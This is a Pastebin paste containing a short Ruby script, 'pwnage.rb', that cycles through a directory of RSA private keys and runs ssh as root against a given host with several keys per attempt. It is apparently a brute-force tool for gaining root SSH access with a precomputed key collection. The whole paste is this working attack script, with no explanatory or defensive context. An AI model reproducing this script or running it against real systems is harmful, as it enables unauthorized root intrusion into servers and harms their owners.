daily pastebin goal
64%
SHARE
TWEET

Untitled

a guest May 17th, 2018 98 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. KEYS_PER_CONNECT = 4 # +1
  2.  
  3. def help
  4.   puts "ruby pwnage.rb keys host"
  5.   puts "ruby pwnage.rb /Users/jordan/xpl/rsa/2048 127.0.0.1"
  6.   exit 0
  7. end
  8.  
  9. help if ARGV[1].nil?
  10.  
  11. @keys = Dir[ARGV[0]+'/*'].sort_by { |file| File.new(file).mtime }
  12.  
  13. @pool = []
  14. @total = 0
  15.  
  16. @keys.each do |key|
  17.   @pool << key
  18.   @total += 1
  19.   if @total > KEYS_PER_CONNECT
  20.     i = @pool.join(" -i ")
  21.     `ssh -l root -i #{i} #{ARGV[1]}`
  22.     @pool = []
  23.     @total = 0
  24.   end
  25. end
RAW Paste Data
Top